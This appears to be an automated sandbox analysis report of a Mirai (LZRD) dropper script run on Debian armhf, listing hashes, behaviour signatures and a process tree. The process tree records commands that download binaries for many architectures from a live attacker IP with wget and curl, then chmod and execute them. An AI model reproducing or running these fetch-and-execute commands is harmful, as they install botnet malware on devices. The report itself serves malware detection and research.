Analysis

  • max time kernel
    147s
  • max time network
    158s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17-12-2024 03:40

General

  • Target

    8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh

  • Size

    2KB

  • MD5

    27997dbf677f04b714e6bbc6c8731b3a

  • SHA1

    cdc488f161e0fdbd400b7fddfa7d3243105ee9a6

  • SHA256

    8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030

  • SHA512

    690ddc258ace9cdcb42fc1cd9e2f72fbb0613361a4f5e2fca9fc3a91fc1e61e9d799d52657ec6372093f32493a6f2b58a8a336346d81bc998aaca8cfe3e491b1

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
    /tmp/8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
    1⤵
    • Writes file to tmp directory
    PID:649
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:651
    • /usr/bin/wget
      wget http://89.169.4.44/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:655
    • /usr/bin/curl
      curl -O http://89.169.4.44/hiddenbin/Space.arc
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:674
    • /bin/cat
      cat Space.arc
      2⤵
        PID:680
      • /bin/chmod
        chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:682
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:685
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/Space.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:686
      • /bin/cat
        cat Space.x86
        2⤵
          PID:692
        • /bin/chmod
          chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.x86 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:695
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:698
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.x86_64
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:705
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:713
          • /bin/chmod
            chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
            2⤵
            • File and Directory Permissions Modification
            PID:714
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:716
          • /usr/bin/wget
            wget http://89.169.4.44/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:719
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/Space.i686
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:727
          • /bin/cat
            cat Space.i686
            2⤵
              PID:738
            • /bin/chmod
              chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
              2⤵
              • File and Directory Permissions Modification
              PID:740
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:741
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/Space.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:749
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:751
            • /bin/chmod
              chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
              2⤵
              • File and Directory Permissions Modification
              PID:752
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:753
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:755
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/Space.mips64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:762
            • /bin/chmod
              chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:765
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/Space.mpsl
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:773
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:781
              • /bin/chmod
                chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                2⤵
                • File and Directory Permissions Modification
                PID:782
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                PID:784
              • /usr/bin/wget
                wget http://89.169.4.44/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:786
              • /usr/bin/curl
                curl -O http://89.169.4.44/hiddenbin/Space.arm
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:793
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:798
                • /bin/chmod
                  chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:799
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Reads runtime system information
                  PID:800
                • /usr/bin/wget
                  wget http://89.169.4.44/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /usr/bin/curl
                  curl -O http://89.169.4.44/hiddenbin/Space.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:807
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:808
                  • /bin/chmod
                    chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:810
                  • /usr/bin/wget
                    wget http://89.169.4.44/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /usr/bin/curl
                    curl -O http://89.169.4.44/hiddenbin/Space.arm6
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:813
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:815
                    • /bin/chmod
                      chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:816
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      PID:817
                    • /usr/bin/wget
                      wget http://89.169.4.44/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:818
                    • /usr/bin/curl
                      curl -O http://89.169.4.44/hiddenbin/Space.arm7
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:819
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:820
                      • /bin/chmod
                        chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                        2⤵
                        • File and Directory Permissions Modification
                        PID:821
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:822
                      • /usr/bin/wget
                        wget http://89.169.4.44/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:828
                      • /usr/bin/curl
                        curl -O http://89.169.4.44/hiddenbin/Space.ppc
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:829
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:830
                        • /bin/chmod
                          chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:831
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:832
                        • /usr/bin/wget
                          wget http://89.169.4.44/hiddenbin/Space.sparc
                          2⤵
                            PID:834
                          • /usr/bin/curl
                            curl -O http://89.169.4.44/hiddenbin/Space.sparc
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:835
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:836
                            • /bin/chmod
                              chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                              2⤵
                              • File and Directory Permissions Modification
                              PID:837
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:838
                            • /usr/bin/wget
                              wget http://89.169.4.44/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:839
                            • /usr/bin/curl
                              curl -O http://89.169.4.44/hiddenbin/Space.m68k
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:840
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:841
                              • /bin/chmod
                                chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:842
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:843
                              • /usr/bin/wget
                                wget http://89.169.4.44/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:845
                              • /usr/bin/curl
                                curl -O http://89.169.4.44/hiddenbin/Space.sh4
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:848
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:849
                                • /bin/chmod
                                  chmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 systemd-private-4bb0ea38cd41432f851bb896ecd952d2-systemd-timedated.service-2xxIzz
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:850
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:851

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                34KB

                                MD5

                                7fd15b25eadc2d7f94f4124546174e50

                                SHA1

                                2c056f909dbe70e262a7ab80426b7e088799b78e

                                SHA256

                                14a364908f6b67c83ce526976e8fccf4cff103d613866fb6e3da170e2e0a926f

                                SHA512

                                dd28a5c4d022da86df61bb6e60ddf04eeec747be632b4801c7f8115129e26ccf1c29b9f16bcae570435a303e87175dbb1b3c2b7c622e4453dba2aa9d7a68f47d

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                f9cdbd1b6359b49143356cf79ac094ab

                                SHA1

                                e3679e2b4c1e536529aa0e59b25a2d51314d6fa4

                                SHA256

                                821e40e9f4161f17ead134c4b3dd0c687176a3afa317ecf283bccb9d24dfee5f

                                SHA512

                                43e08f3009b19180aeae6e8d92101fdc10cc039cf81c6f108ccf1348d0862eb9ae4533becc68b1d6d5f964cc70255c704a2a33b545ed36173d5e9e30d51dae20

                              • /tmp/Space

                                Filesize

                                35KB

                                MD5

                                a56e91b6fcccccac6af83d4b96c2d3ed

                                SHA1

                                60b057a4285c39228b11e854362fd312fac1b94c

                                SHA256

                                78118c6996103986c325191eee210e688ffd355834c5f71ffc8eafb77638c73d

                                SHA512

                                357a37eab75a1936bb0642094babc9b6a3a98bf85832b853c23117a3203984dbfdde853b68e4174c76cce34b0a5ffeffb6bcc64e944dda608d7cbc5fd3539edf

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                47a3da5b7a3334ad0d7d3e319d5e5876

                                SHA1

                                8710045d8e4ad5ab0561af69d328ba5bfe85ae85

                                SHA256

                                467f8730b3df7738935b68efa0309ed7b154dc14ca2e87d04e00fddd49d34a2e

                                SHA512

                                498eca619092e02b0529e37b710c8ae2b4cc23f4afb13b46dc90d67b9f5a17e46e32cc4964469a749e4adc7670ad2718f40387950069106a9f0b2507738334ab

                              • /tmp/Space

                                Filesize

                                82KB

                                MD5

                                d201e86d832cc6bd69c88c98383593c3

                                SHA1

                                7891d67dd475cef38f737ef90d6ebee584584109

                                SHA256

                                6799b2cebf210c9c2e2f7143cc3f144f30d793f40210e6ef9d563584d288b620

                                SHA512

                                de9fc0fc6495e88d1117bb3a7d40fcab41e478b96bc44b64b85adecd5d7514e65867998ba4b708ee5eec3c9b65711f0a870dcc78d8f5770d5b3283dfb65b3a9d

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                df48b559206b579e49b8fe67877af3ad

                                SHA1

                                05509c76e87089fb3cc8f73dcb62b203c2268436

                                SHA256

                                787021c436a55881b06f80e8a59f944892e912cdf1960998f907666616aef1e1

                                SHA512

                                ea4493023059948a5db21a83e0a46469660e77d3f79967531fb552bf1b69ad85ade859225e30f2cecec9133715c26e052cd625d0d858b51bdc1186666840edca

                              • /tmp/busybox

                                Filesize

                                507KB

                                MD5

                                e588bcf03ae78237b58899d35f50c570

                                SHA1

                                2194732ebbefbc27bdae876c77f2a97a20175710

                                SHA256

                                2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                                SHA512

                                904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555